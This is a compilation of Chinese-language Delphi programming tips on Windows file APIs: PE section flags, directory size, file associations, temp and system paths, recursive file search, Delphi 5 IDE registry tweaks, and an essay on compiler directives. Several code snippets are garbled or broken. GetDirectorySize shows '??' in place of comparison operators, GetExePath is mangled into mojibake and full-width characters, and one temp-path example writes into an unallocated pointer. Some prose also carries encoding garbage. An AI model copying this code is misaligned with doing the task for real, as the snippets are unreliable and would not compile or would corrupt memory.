// IMAGE_SCN_MEM_SYSHEAP - Obsolete = $00010000;

IMAGE_SCN_MEM_PURGEABLE = $00020000;

IMAGE_SCN_MEM_16BIT = $00020000;

IMAGE_SCN_MEM_LOCKED = $00040000;

IMAGE_SCN_MEM_PRELOAD = $00080000;

IMAGE_SCN_ALIGN_1BYTES = $00100000; //

IMAGE_SCN_ALIGN_2BYTES = $00200000; //

IMAGE_SCN_ALIGN_4BYTES = $00300000; //

IMAGE_SCN_ALIGN_8BYTES = $00400000; //

IMAGE_SCN_ALIGN_16BYTES = $00500000; // Default alignment if no others are specified.

IMAGE_SCN_ALIGN_32BYTES = $00600000; //

IMAGE_SCN_ALIGN_64BYTES = $00700000; //

IMAGE_SCN_ALIGN_128BYTES = $00800000; //

IMAGE_SCN_ALIGN_256BYTES = $00900000; //

IMAGE_SCN_ALIGN_512BYTES = $00A00000; //

IMAGE_SCN_ALIGN_1024BYTES = $00B00000; //

IMAGE_SCN_ALIGN_2048BYTES = $00C00000; //

IMAGE_SCN_ALIGN_4096BYTES = $00D00000; //

IMAGE_SCN_ALIGN_8192BYTES = $00E00000; //

// Unused = $00F00000;

IMAGE_SCN_ALIGN_MASK = $00F00000;

IMAGE_SCN_LNK_NRELOC_OVFL = $01000000; // Section contains extended relocations.

IMAGE_SCN_MEM_DISCARDABLE = $02000000; // Section can be discarded.

IMAGE_SCN_MEM_NOT_CACHED = $04000000; // Section is not cachable.

IMAGE_SCN_MEM_NOT_PAGED = $08000000; // Section is not pageable.

IMAGE_SCN_MEM_SHARED = $10000000; // Section is shareable.

IMAGE_SCN_MEM_EXECUTE = $20000000; // Section is executable.

IMAGE_SCN_MEM_READ = $40000000; // Section is readable.

IMAGE_SCN_MEM_WRITE = $80000000; // Section is writeable.

我写了检测是否包含此属性的函数

function BeTrue(fg:Cardinal,Value):Boolean;

begin

Result:=fg and not Value=0;

end;

如果fg的属性值在Value中，则为True,否则为False;

例如 BeTrue(IMAGE_FILE_RELOCS_STRIPPED,PENTHead.FileHeader.Characteristics);

至于资源目录的读取，至少需要两重循环来定位，具体实现就要靠你的算法功力了：）

好了，差不多了，再具体一点我也说不上了，我做了一个PEDump的程序，

在我的主页http://mantousoft.51.net可以下载，程序中有更详细的说明，相信能帮助想了解这方面的东西的朋友。

以上是我的个人小心得，欢迎转载，转载请保持完整，谢谢


获得目录下全部文件的大小

function GetDirectorySize(const ADirectory: string): Integer;

var

Dir: TSearchRec;

Ret: integer;

Path: string;

begin

Result := 0;

Path := ExtractFilePath(ADirectory);

Ret := Sysutils.FindFirst(ADirectory, faAnyFile, Dir);

if Ret ?? NO_ERROR then

exit;

try

while ret=NO_ERROR do

begin

inc(Result, Dir.Size);

if (Dir.Attr in [faDirectory]) and (Dir.Name[1] ?? '.') then

Inc(Result, GetDirectorySize(Path + Dir.Name + '\*.*'));

Ret := Sysutils.FindNext(Dir);

end;

finally

Sysutils.FindClose(Dir);

end;

end;


获得同相应扩展文件名关联的应用程序

uses
{$IFDEF WIN32}
Registry; {We will get it from the registry}
{$ELSE}
IniFiles; {We will get it from the win.ini file}
{$ENDIF}

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

function GetProgramAssociation (Ext : string) : string;
var
{$IFDEF WIN32}
reg: TRegistry;
s : string;
{$ELSE}
WinIni : TIniFile;
WinIniFileName : array[0..MAX_PATH] of char;
s : string;
{$ENDIF}
begin
{$IFDEF WIN32}
s := '';
reg := TRegistry.Create;
reg.RootKey := HKEY_CLASSES_ROOT;
if reg.OpenKey('.' + ext + '\shell\open\command',
false) <> false then begin
{The open command has been found}
s := reg.ReadString('');
reg.CloseKey;
end else begin
{perhaps thier is a system file pointer}
if reg.OpenKey('.' + ext,
false) <> false then begin
s := reg.ReadString('');
reg.CloseKey;
if s <> '' then begin
{A system file pointer was found}
if reg.OpenKey(s + '\shell\open\command',
false) <> false then
{The open command has been found}
s := reg.ReadString('');
reg.CloseKey;
end;
end;
end;
{Delete any command line, quotes and spaces}
if Pos('%', s) > 0 then
Delete(s, Pos('%', s), length(s));
if ((length(s) > 0) and
(s[1] = '"')) then
Delete(s, 1, 1);
if ((length(s) > 0) and
(s[length(s)] = '"')) then
Delete(s, Length(s), 1);
while ((length(s) > 0) and
((s[length(s)] = #32) or
(s[length(s)] = '"'))) do
Delete(s, Length(s), 1);
{$ELSE}
GetWindowsDirectory(WinIniFileName, sizeof(WinIniFileName));
StrCat(WinIniFileName, '\win.ini');
WinIni := TIniFile.Create(WinIniFileName);
s := WinIni.ReadString('Extensions',
ext,
'');
WinIni.Free;
{Delete any command line}
if Pos(' ^', s) > 0 then
Delete(s, Pos(' ^', s), length(s));
{$ENDIF}
result := s;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(GetProgramAssociation('gif'));
end;


获得文件信息

uses shellapi; //that unit is necessary

procedure getshellinfo(a:tfilename;var name,typ:string;var icon:ticon;var attr:integer);
var
info : tshfileinfo;
begin
// get shell-info about the specified file (in "a")
{parameters :
name : receives the explorer-style filename (e.g. without extension)
typ : receives the explorer-style typename of the file (e.g. "anwendung" for an exe in german win95)
icon : will content the icon which is shown in the explorer for that file (this is slower than extracticon !!!!)
attr : gets the explorer-attributes of the file, these are (ripped from win32-help):
sfgao_cancopy the specified file objects or folders can be copied (same value as the dropeffect_copy flag).
sfgao_candelete the specified file objects or folders can be deleted.
sfgao_canlink it is possible to create shortcuts for the specified file objects or folders (same value as the dropeffect_link flag).
sfgao_canmove the specified file objects or folders can be moved (same value as the dropeffect_move flag).
sfgao_canrename the specified file objects or folders can be renamed.
sfgao_capabilitymask mask for the capability flags.
sfgao_droptarget the specified file objects or folders are drop targets.
sfgao_haspropsheet the specified file objects or folders have property sheets.

a file object's display attributes may include zero or more of the following values:

sfgao_displayattrmask mask for the display attributes.
sfgao_ghosted the specified file objects or folders should be displayed using a ghosted icon.
sfgao_link the specified file objects are shortcuts.
sfgao_readonly the specified file objects or folders are read-only.
sfgao_share the specified folders are shared.

a file object's contents flags may include zero or more of the following values:

sfgao_contentsmask mask for the contents attributes.
sfgao_hassubfolder the specified folders have subfolders (and are, therefore, expandable in the left pane of windows explorer).

a file object may have zero or more of the following miscellaneous attributes:

sfgao_filesystem the specified folders or file objects are part of the file system (that is, they are files, directories, or root directories).
sfgao_filesysancestor the specified folders contain one or more file system folders.
sfgao_folder the specified items are folders.
sfgao_removable the specified file objects or folders are on removable media.
sfgao_validate validate cached information.}

fillchar(info,sizeof(tshfileinfo),0);
shgetfileinfo(pchar(a),0,info,sizeof(info),shgfi_displayname or shgfi_typename or
shgfi_icon or shgfi_attributes);
with info do begin
name := szdisplayname;
typ := sztypename;
icon.handle := hicon;
attr := dwattributes;
end;
end;


获得模块名称

 procedure TForm1.Button1Click(Sender: TObject);
var
szFileName : array[0..49] of char;
szModuleName : array[0..19] of char;
iSize : integer;
begin
StrPCopy(szModuleName, 'NameOfModule');
iSize := GetModuleFileName(GetModuleHandle(szModuleName),szFileName,
SizeOf(szFileName));
if iSize > 0 then
ShowMessage('Full path name is : ' + StrPas(szFileName))
else
ShowMessage('Path of module not found');
end;


获得程序进入点

function GetModuleNtHeaders(module: cardinal) : PImageNtHeaders;
type TPWord = ^word;
const CENEWHDR = $003C; // offset of new EXE header
CEMAGIC = $5A4D; // old EXE magic id: 'MZ'
CPEMAGIC = $4550; // NT portable executable
begin
result := nil;
try
if TPWord(module)^ = CEMAGIC then begin
result := pointer(module + TPWord(module + CENEWHDR)^);
if result^.signature <> CPEMAGIC then
result := nil;
except result := nil end;
end;

entryPoint := GetModuleNtHeaders(HInstance).OptionalHeader.AddressOfEntryPoint;


判断文件是否正被使用

 function IsFileInUse(fName : string) : boolean;
var
HFileRes : HFILE;
begin
Result := false;
if not FileExists(fName) then
exit;
HFileRes := CreateFile(pchar(fName), GENERIC_READ or GENERIC_WRITE,
0 {this is the trick!}, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
Result := (HFileRes = INVALID_HANDLE_VALUE);
if not Result then
CloseHandle(HFileRes);
end;


获取程序自身所在路径和文件名

    Delphi在启动应用程序时与C语言一样会传递命令行参数给应用程序，第一个参数（索引号为零）表示应用程序本身的文件名（包括完整的路径），这个String参数由函数ParamStr(0)返回。
    顺便说一句，Delphi提供了分析文件名的多个函数，如果你需要从文件名中得到路径名，可用下面的两个函数，这两个函数有一点点微小的差别：

ExtractFilePath(FileName:String)
该函数返回路径名，其结尾字符总是“\”
ExtractFileDir(FileName:String)
该函数同样返回路径名，但不包括结尾的字符“\”，除非返回的路径是根目录。


如何取得Windows的临时文件目录?

Windows 95 & NT都指定了放置临时文件的目录，然而，用户能改变临时目录的位置而不使用缺省的目录。这篇文章的目的是告诉你如何得到Windows 95 & NT当前的临时目录位置。这个Windows API函数 GetTempPath就是解决这个问题的。其函数原形为:

DWORD GetTempPath(DWORD nBufferLength, LPTSTR lpBuffer);

下面的例子示范如何使用：

function GetTempDirectory: String;

var

TempDir: array[0..255] of Char;

begin

GetTempPath(255, @TempDir);

Result := StrPas(TempDir);

end;

备注：临时目录的确定原则：

1,如果有TMP环境变量则临时目录为TMP指定的目录

2,如果没有TMP环境变量而有TEMP环境变量，则为TEMP变量指定的目录

3,如果TMP和TEMP都没有定义，则取当前目录为临时目录


得到文件的扩展名

 ExtractFileExt(FileName:String):String;


察看文件是否存在

 FileExists(FileName:String):Boolean;


得到WINDOWS的SYSTEM路径

 方法:
var
MySysPath : PCHAR ;
begin
GetMem(MySysPath,255);
GetSystemDirectory(MySysPath,255);
end;
注:MySysPath为SYSTEM路径


临时路径

 有时需要Windows的临时路径来做备份等工作，那么就要知道路径在哪，下面的程序帮你忙：
var aa:pchar;
begin
GetTempPath(20,aa); //返回路径名
edit1.text:=aa;
end;


获取当前程序的目录

 你可以使用APPLICATION对象中的EXENAME属性
functionGetExePath：String；
varLastBackSlashPos，Index：Integer；
begin
Result：ΚApplication．ExeName；
forIndex：Κ1tolength（Result）do
ifResult［Index］Κ′ι′then
LastBackSlashPos：ΚIndex；
｛subtract1sothatthelastbackslashisnotincluded｝
Result［0］：Κchr（LastBackSlashPos－1）；
end；


把长文件名变成短文件名

procedure TForm1.Button1Click(Sender: TObject);
var
Buffer : array [0..255] of char;
begin
GetShortPathName(
'C:\Program Files\Borland\Common Files\Bde\Bde32.hlp',
@Buffer,
sizeof(Buffer));
Memo1.Lines.Add(Buffer);
end;

Function GetShortFileName(Const FileName : String) : String;
var
aTmp: array[0..255] of char;
begin
if GetShortPathName(PChar(FileName),aTmp,Sizeof(aTmp)-1)=0 then
Result:= FileName
else
Result:=StrPas(aTmp);
end;

Function GetLongFileName(Const FileName : String) : String;
var
aInfo: TSHFileInfo;
begin
if SHGetFileInfo(PChar(FileName),0,aInfo,Sizeof(aInfo),SHGFI_DISPLAYNAME)<>0 then
Result:= String(aInfo.szDisplayName)
else
Result:= FileName;
end;


找出磁盘上任何子目录下的文件

在应用实践中，我们经常会用到文件查询功能。通过Win95中提供的懳募檎覓，我们可以
方便的找出磁盘上任何子目录下的文件，其原因是该查找功能可以遍历指定目录下的所有子
目录中的文件。从编程角度讲，它实现了子目录级的文件查询。

其实，这项功能并不难实现，关键是能理解并掌握懙莨閽这种程序设计思路。本人用Delphi
实现了该项功能（任意子目录级），由于使用了懙莨閽，程序思路清晰，代码量小。

实现方法：

1． 获取当前目录下的所有下一级子目录，2． 存入字符串列表中（Tstrings）。

其中，用到了几个API函数。

FindFirst是找出指定目录下第一个文件或目录。

FindNext一般和FindFirst配合使用，用来找出下一个文件或目录。

FindClose用来关闭查询。

（以上函数Delphi在线帮助中有详尽解释，在此不赘述）；

3． 用FileExists函数查找当前目录，4． 寻找是否有满足条件的文件存在。

5． 依次使各个子目录成为当前目录，6． 递归调用本函数。

7． 释放资源，8． 返回查询结果。

代码如下：

1． 从搜索记录中判断是否是子目录。

function IsValidDir(SearchRec:TSearchRec):Boolean;

begin

if (SearchRec.Attr=16) and

(SearchRec.Name<>'.') and

(SearchRec.Name<>'..') then

Result:=True

else

Result:=False;

end;

2． 这是查询主体函数。

参数介绍：

Mainpath： 指定的查询目录。

Filename： 欲查询的文件。

Foundresult： 返回的含完整路径的匹配文件（可能有多个）。

如果有匹配文件，函数返回True，否则，返回False;

function SearchFile(mainpath:string;filename:string;

var foundresult:TStrings):Boolean;

var

i:integer;

Found:Boolean;

subdir1:TStrings;

searchRec:TsearchRec;

begin

found:=false;

if Trim(filename)<>'' then

begin

subdir1:=TStringList.Create;//字符串列表必须动态生成

//找出所有下级子目录。

if (FindFirst(mainpath+'*.*', faDirectory, SearchRec)=0) then

begin

if IsValidDir(SearchRec) then

subdir1.Add(SearchRec.Name);

while (FindNext(SearchRec) = 0) do

begin

if IsValidDir(SearchRec) then

subdir1.Add(SearchRec.Name);

end;

end;

FindClose(SearchRec);

//查找当前目录。

if FileExists(mainpath+filename) then

begin

found:=true;

foundresult.Add(mainpath+filename);

end;

//这是递归部分，查找各子目录。

for i:=0 to subdir1.Count-1 do

found:=Searchfile(mainpath+subdir1.Strings[i]+

'\',Filename,foundresult)or found;

//资源释放并返回结果。

subdir1.Free;

end;

result:=found;

end;

总之，只要掌握了思路，用哪种编程语言都可以实现。现在，你可以轻松的给你的系统挂上
一个非常使用的功能了。


FileGetAttr函数的注意事项

 FileGetAttr(FileName)返回filename指定的文件的属性.在Delphi的Demo
fmxutils.pas里有这样一个实用函数:
function HasAttr(const FileName: string; Attr: Word): Boolean;
begin
Result := (FileGetAttr(FileName) and Attr) = Attr;
end;
但我在实际使用中,却得到了错误的结果:当filename不存在时,result恒大于0!
这是因为FileGetAttr在遇到一个错误时,会返回-1,而-1即$FFFF,或$FFFFFFFF,
和任意非0值相与,当然都会大于0了.


获得可执行程序的信息

{The function call GetBinaryType is in Windows.pas
function GetBinaryType(lpApplicationName: PChar; var lpBinaryType: DWORD): BOOL; stdcall;

Below is an example of how to use it}

Var
Filename, S: String;
BinaryType: DWORD;
begin
Filename := 'whatever';
If GetBinaryType(Pchar(Filename), Binarytype) Then
Case BinaryType of
SCS_32BIT_BINARY: S:= 'Win32 executable';
SCS_DOS_BINARY : S:= 'DOS executable';
SCS_WOW_BINARY : S:= 'Win16 executable';
SCS_PIF_BINARY : S:= 'PIF file';
SCS_POSIX_BINARY: S:= 'POSIX executable';
SCS_OS216_BINARY: S:= 'OS/2 16 bit executable'
Else
S:= 'unknown executable'
End
Else
S:= 'File is not an executable';
end;


把已有的组件放入Panel中

 选中想放的组件，按Ctrl-C(复制)，再选中Panel组件，按Ctrl-V(粘贴)。
真不错，连事件处理都复制过来了。(98-6-8 11:43)
另：这个方法还不完善，因为你paste过去后的所有组件的名字都变了。
正确的顺序应该是：选中组件；按Ctrl-C；按Del；选中Panel，按Ctrl-V。


优化delphi5.0秘籍

王敏坚

Delphi5.0是非常优秀的RAD开发工具，越来越多的人开始认识到这一点并转而使用它，但它也不是完美无缺的，实际上通过手工优化可以极大的提高它为我们工作的效率，我通过实践摸索出一些经验，借电脑报一角与大家分享：

一：实现控件面板的平滑滚动：

安装过许多控件的朋友都知道，在众多的控件中选择一个实在不是一件轻松的事，鼠标要不停点击，如果能平滑滚动该多好啊，好在Borland的专家早就想到了这一点：

建立一个文本文件，内容为：

REGEDIT4

[HKEY_CURRENT_USER\Software\Borland\Delphi\5.0\Extras]>

"AutoPaletteSelect"="1"

"AutoPaletteScroll"="1"

保存为tip.reg,然后双击此文件，启动delphi，怎么样？是不是爽多了！

二：加快程序启动速度：

delphi启动确实有点慢，既要显示快闪屏幕，又要读注册表设置，对于配置低的机器简直是一种折磨，实际上我们完全可以通过启动参数来控制它：

建立一个快捷方式，目标为：D:\DELPHI5\Delphi5\Bin\delphi32.exe /ns /np

（我的delphi装在d:\delphi5目录下，你要做相应改变。）

ns:no splash 不显示快闪屏幕

np:no project不加载项目

三.观察内存堆分配情况：

同上，快捷方式目标为：D:\DELPHI5\Delphi5\Bin\delphi32.exe /hm /hv

此后每启动此快捷方式就可看到delphi标题栏上不停变化的堆分配字节数

四.在右键快捷菜单中增加编译及查看功能：

先为dpr文件增加功能：

建立一个文本文件，内容为：

REGEDIT4

[HKEY_CLASSES_ROOT\DelphiProject]

@="Delphi Project"

"EditFlags"=hex:00,00,00,00

"AlwaysShowExt"=""

[HKEY_CLASSES_ROOT\DelphiProject\DefaultIcon]

@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe, 4"

[HKEY_CLASSES_ROOT\DelphiProject\Shell]

@=""

[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open]

@="&Open"

"EditFlags"=hex:01,00,00,00

[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open\command]

@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe /ns %1"

[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open\ddeexec]

@="[open(\"%1\")]"

[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open\ddeexec\Application]

@="DELPHI32"

[HKEY_CLASSES_ROOT\DelphiProject\Shell\autobuild]

"EditFlags"=hex:01,00,00,00

[HKEY_CLASSES_ROOT\DelphiProject\Shell\autobuild\command]

@="D:\\DELPHI5\\Delphi5\\Bin\\delphi32.exe /ns %1 /b"

[HKEY_CLASSES_ROOT\DelphiProject\QuickView]

@="*"

存为Delphiproject.reg,然后双击此文件，以后你就可以在以dpr为后缀的项目文件的右键快捷菜单中发现多了autobuild一项,可以马上编译生成可执行文件了，还多了快速查看一项，可以不打开Delphi而察看文件内容。

再为pas文件增加功能：

建立一个文本文件，内容为：

REGEDIT4

[HKEY_CLASSES_ROOT\DelphiUnit]

@="Delphi Source File"

"EditFlags"=hex:00,00,00,00

"AlwaysShowExt"=""

[HKEY_CLASSES_ROOT\DelphiUnit\DefaultIcon]

@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe,5"

[HKEY_CLASSES_ROOT\DelphiUnit\Shell]

@=""

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open]

@="&Open"

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open\command]

@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe /ns /np"

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open\ddeexec]

@="[open(\"%1\")]"

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open\ddeexec\Application]

@="DELPHI32"

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\compile]

"EditFlags"=hex:01,00,00,00

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\compile\command]

@="D:\\DELPHI5\\Delphi5\\Bin\\dcc32.exe %1"

[HKEY_CLASSES_ROOT\DelphiUnit\QuickView]

@="*"

存为delphiunit.reg, 然后双击此文件，以后你就可以在以pas为后缀的源码文件的右键快捷菜单中发现多了compile一项,可以马上编译生成dcu文件了，还多了快速查看一项，可以不打开Delphi而察看文件内容。

要注意你的delphi安装路径要做相应更改，对注册表不熟悉的朋友一定要谨慎做好备份。

如有任何意见及建议欢迎到bbs.netease.com中的delphi论坛我们共同讨论。


DELPHI的编译指令

編譯指令與說明

{$IFDEF WIN32} -- 這可不是註解喔!
對於Delphi來說﹐左右大括號之間的內容是註解﹐然而「{$」(左括號後緊接著貨
幣符號)對於Compiler(編譯器)而言並不是註解﹐而是寫給Compiler看的特別指示
。
應用時機與場合
Delphi中有許許多多的Compiler Directives(編譯器指令)﹐這些編譯指令對於我
們的程式發展有何影響呢? 它們又能幫我們什麼忙呢?
Compiler Directive 對程式開發的影響與助益, 可以從以下幾個方向來討論:
? 協助除錯
? 版本分類
? 程式的重用與管理
? 設定統一的執行環境
協助除錯
穩健熟練的程式設計師經常會在開發應用系統的過程中﹐特別加入一些除錯程式
或者回饋驗算的程序﹐這些除錯程式對於軟體品質的提升有極其正面的功能。然
而開發完成的正式版本中如果不需要這些額外的程式的話﹐要想在一堆程式中找
出哪些是除錯用的程式並加以刪除或設定為註解﹐不僅累人﹐而且容易出錯﹐況
且日後維護時這些除錯程式還用得著。
此時如果能夠應用像是$IFDEF的Compiler Directives ﹐就可以輕易的指示Delp
hi要/不要將某一段程式編進執行檔中。
同時﹐Compiler本身也提供了一些錯誤檢查的開關﹐可以預先對程式中可能的問
題提醒程式設計師注意﹐同樣有助於撰寫正確的程式。
版本分類
除了上述的除錯版本/正式版本的分類之外﹐對於像是「試用版」「普及版」「專
業版」的版本分類﹐也可以經由Compiler Directive的使用﹐為最後的產品設定
不同的使用權限。其他諸如「中文版」「日文版」「國際標準版」等全球版本管
理方面﹐同樣也可以視需要指示Delphi特別連結哪些資源檔或者是採用哪些適當
的程式。以上的兩則例子中﹐各版本間只需共用同一份程式碼即可。
Delphi 1.0 與 Delphi 2.0有許多不同之處﹐元件資源檔(.DCR)即是其中一例﹐
兩者的檔案格式並不相容﹐在您讀過本文之後﹐相信可以寫出這樣的程式﹐指示
Delphi在不同的版本採用適當的資源檔以利於元件的安裝。
{$IFDEF WIN32}
{$R XXX32.DCR}
{$ELSE}
{$R XXXX16.DCR}
{$EDNIF}
程式的重用與管理
經過前文的討論後﹐相信你已經不難看出Compiler Directives在程式管理上的應
用價值。對於原始程式的重用與管理﹐也是Compiler Directives 使得上力的地
方. 舉例來說:
Pascal-Style字串是Delphi 1.0與 Delphi 2.0之間的明顯差異﹐除了原先的短字
串之外﹐Delphi 2.0之後還多了更為方便使用的長字串﹐同時﹐系統也額外提供
了像是 Trim() 這樣的字串處理函式。假如您有一個字串處理單元必須要同時應
用於Delphi 1.0 與 2.0的專案時﹐編譯指示器可以幫你的忙。
此外﹐透過像是{$I xxxx} 這樣的 Compiler Directives﹐我們也可以適當的含
入某些程式, 同樣有助於切割組合我們的程式或編譯設定。
設定一致的執行環境
專案小組的成員間﹐必須有共同的環境設定﹐我很難預料一個小組成員間彼此有
不同的{$B}{$H}{$X}設定﹐最後子系統在併入主程式時會發生什麼事。
此外, 當您寫好一個元件或單元需要交予第三者使用時, 使用編譯指示器也可以
保證元件使用者與您有相同的編譯環境。
使用Compiler Directives
指令語法
Compiler Directives從外表看起來與註解頗為類似, 與註解不同的是:Compiler
Directives的語法格式都是以「{$」開始, 不空格緊接一個名稱(或一個字母)表
明給Compiler的特別指示, 再加上其他的開關或參數內容, 最後以右大括號作為
指令的結束, 例如:
{$B+}
{$R-}
{$R MyCursor.res}
同時, 就如同Pascal的變數名稱與保留字一樣, Compiler Directives也是不區分
大小寫的。
從指令的語法格式來說Compiler Directives﹐可以進一步分類成以下三種格式:

? 開關指令(Switch directives)
這類指令都是單一字母以不空格的方式連接「+」或「-」符號; 或者是開關名稱
以一個空格後連接「ON」或「OFF」來表示作用/關閉某一個編譯指示開關。例如
:
{$A+}
{$ALIGN ON}
開關型的編譯指令不一定要分行寫, 它們可以組合在同一個編譯指示的註解符號
之間, 但必須以逗號連接, 而且中間不可以有空格, 例如:
{$B+,H+,T-,J+}

游標停留在程式編輯器的任一位置時按下Ctrl+O O, 完整的Compiler Directive
s將會全部列於Unit的最上方。
? 參數指令(Parameter directives)
有些Compiler Directives需要在編譯名稱後面連接自定的參數(檔案名稱或指定
的記憶體大小), 例如: {$R MyCursor.res}, 即在指示Delphi在編譯連結時, 含
入「MyCursor.res」這個資源檔。
? 條件指令(Conditional directives)
指示Compiler在編譯的過程中, 按我們設定的條件, 選擇性的採用/排除不同區域
的程式碼。
以下是一個條件編譯的例子, 第一與第三列是寫給Compiler看的,指示 Compiler
在 __DEBUG這個條件名稱完成定義的情況才編譯ShowMessage()這列程式;反之,
如果 __DEBUG 當時沒有定義的話, 這段程式幾乎與註解無異, Compiler對它將視
而不見。
{$IFDEF __DEBUG}
ShowMessage(IntToStr(i));
{$ENDIF}
如何從IDE改變Compiler directives設定
從Delphi的IDE程式整合發展環境, 我們很方便的就可以修改各個compiler dire
ctives的設定, 方法是:
從Delphi IDE主選單: Project/Options/Compiler, 直接核選/取消各個CheckBo
x。值得注意的是, 改變一個專案的Compiler directives並不會影響其他的專案
, 換言之, 各個專案都保有自己一套編譯指示。
假如您希望其他的專案也採用相同一套的Compiler directives, 在上述Project
Options對話盒的左下方有一個「Default」選項, 選取這個CheckBox之後, 雖然
對於既有的專案沒有作用, 但未來新的專案都將可以採用這組設定作為預設值。

將Compiler directives寫入程式
透過Delphi的整合環境設定Compiler directives的確十分簡便, 但是許多情況下
我們仍然需要將Compiler directive直接加到程式中。至少有兩個原因支持我們
這麼作:
? 局部控制編譯條件
在Project/Options/Compiler中所作的設定, 影響所及是整個專案, 如果某一段
程式要特別使用不同的編譯設定, 就必須直接將編譯指示加到程式中。
下列這段取自Online Help的程式範例, 即應用了{$I}編譯指令局部控制在發生I
/O錯誤時不要舉發例外訊息, 這樣, 我們就可以編譯出一支在這段程式區域中不
會產生I/O例外訊息的檔案偵測函數。
function FileExists(FileName: string): Boolean;
var
F: file;
begin
{$I-}
AssignFile(F, FileName);
FileMode := 0; ( Set file access to read only }
Reset(F);
CloseFile(F);
{$I+}
FileExists := (IOResult = 0) and (FileName <> '');
end; { FileExists }
? 程式的可攜性
我們都可能會用到其他公司或個人創作的unit或component, 也可能分享程式給其
他人, 換句話說, 單元或程式可能會在不同的機器上編譯, 直接將Compiler dir
ectives加入程式, 不僅可以免去程式使用前需要特別更改IDE的麻煩, 更重要的
是解決了各個單元間要求不同編譯環境的歧異。
注意事項
Compiler directives的作用與影響範圍
如同變數的可見範圍與生命週期, 在我們使用 Compiler Directives 時也必須注
意各個Compiler Directives 的作用範圍.
Compiler Directives的作用範圍可分為以下兩種:
? 全域的
全域的Compiler Directives, 影響所及是整個專案; 我們稍早前提到經由Delph
i IDE改變Compiler directives的方式就屬於全域的設定。
? 區域的
而區域的Compiler Directives 影響所及只從Compiler Directives 改變的那一
行開始, 直到該程式單元(Unit)的結束或另一個相同的Compiler Directives 為
止, 對其他的程式單元並沒有影響。
也就是說, 如果在unit中特別加入Compiler directives, Compiler會優先採用區
域的設定, 然後才是屬於專案層級的全域設定。
值得一提的是, 在程式中直接加入Compiler directives的最大作用範圍也只限於
當時那個單元而已, 對其他單元並沒有任何影響, 即使是以uses參考也是一樣。
也就是說, 我們可以透過uses參考其他unit公開的變數與函式, 但是各個unit的
編譯指令並不會互相參考。
這項獨立的性質, 使得unit之間編譯環境的設定與關係變得十分簡潔, 例如Delp
hi 2.0的VCL都是在{$H+}的情況下編譯的, 因此, VCL中的字串都是以長字串的型
態編譯而成的, 有了這項編譯指令獨立的特性, 不論我們Prject中的設定為何,
這些在VCL中定義過的字串都是長字串。我們的Project也不會因為uses了VCL中的
unit而改變了自己的設定。
因此, 在我們移交程式到網路上時, 大可以放心的在程式中加入必要的Compiler
directives, 別擔心, 即使別的unit以uses參考了我們的程式, 也不影響它自己
原來的設定。
如果我們自行以{$DEFINE _DEBUGVERSION}($DEFINE在稍後的個別指令介紹中將有
說明)定義了一個條件符號, 這個新的條件符號也是區域的, 換句話說, 它只從定
義的那一個單元的那一列之後才成立, 當然, 也只對目前這個單元有效.
由於自訂的條件符號只有區域的作用, 如果有好幾個程式單元都需要參考到某一
個條件符號, 怎麼辦呢? 嗯! 在-一個程式單元開頭處中都加上編譯指示是最直接
的方式, 可是略嫌麻煩, 特別是編譯指示有變時, 要一一修正各個單元的設定內
容, 很容易因為疏忽而出錯。
比較簡易可行的作法是從Delphi IDE整合發展環境的主選單-Project / Options
/ Directories/Conditional 的 Conditionals 中填入條件名稱。這樣, 相對於
專案的各個unit而言, 就有了一個全域的條件符號。
或者, 您也可以參考本文對於{$I}這個Compiler Directive的說明。 我在那裏指
出了另一個彈性的解決方式。
修改過編譯指令後, 建議Build All過一次程式
請試一試這個程式:
procedure TForm1.Button1Click(Sender: TObject);
begin
// ifopt是用來偵測某一個編譯開關的作用狀態
{$ifopt H+}
ShowMessage('H+');
{$else}
ShowMessage('H-');
{$endif}
end;
在我們執行上述程式時, 在Delphi預設的是$H+時, ShowMessage()會在畫面上會
顯示「H+」, 執行過後, 讓程式與form的內容與位置保留不變, 單純的從主選單
: Project/Options/Compiler, 將Huge Strings的核對方塊清除($H-), 然後按下F9執行,
咦! 怎麼還是看到「H+」?!
那是因為Delphi只會在unit內容經過異動後才會重新將.PAS編譯成.DCU, 在我們
的例子中, 程式並沒有變動, .DCU當然也沒有重新產生, 最後.EXE的這個部分自
然也是沒什麼變化。
所以, 要解決這個問題, 只要以Delphi IDE主選單Project/Build All指示Delph
i重新編譯全部的程式即可。因此, 如果您從Delphi IDE修改過Compiler Direct
ives後, 記得要Build All喔!
不應該用來作為程式執行流程控制
在程式中, 我們可以使用if敘述, 根據執行當時的情況控制程式執行時的流程,
但我們不可以用{$IFDEF}來作同樣的事, 為什麼? 從上述的說明, 相信您不難發
現, Compiler directives會對最後.EXE的內容發生直接的影響, 應用像是{$IFD
EF}指示Compiler的結果, 幾乎可以視同授權Compiler在編譯的那個時候自動選用
/捨棄程式到.DCU, .EXE中, 換句話說, 在程式編譯完成時, 會執行到那一段程式
已成定局了, 我們自然不能用它來作程式流程的控制。
條件編譯的巢套最多可以16層
在使用{$IFDEF}＃{$ENDIF}條件編譯我們的程式時, 一個{$IFDEF}中可以再包含
另一個{$IFDEF}, 但深度最多只能16層, 雖然是個限制, 但以正常的情形來說,
這應該已經足夠了。
有些Compiler directives不應寫在Unit中
對於像是{$MINSTACKSIZE}{$MAXSTACKSIZE}管理堆疊大小, 或者像是{$APPTYE}指
示程式編譯成圖形/文字模式的Compiler directives, 只能寫在.DPR中, 寫在Un
it中是沒有效果的。
建議事項
確定您瞭解指令的影響
由於編譯指令的影響是如此直接與深遠, 在修改與應用某一個Compiler directi
ve時, 請確定您已經了解其含意與影響。

DELPHI的编译指令二
打開全部的偵錯開關
Delphi有關偵錯的Compiler directives如下:
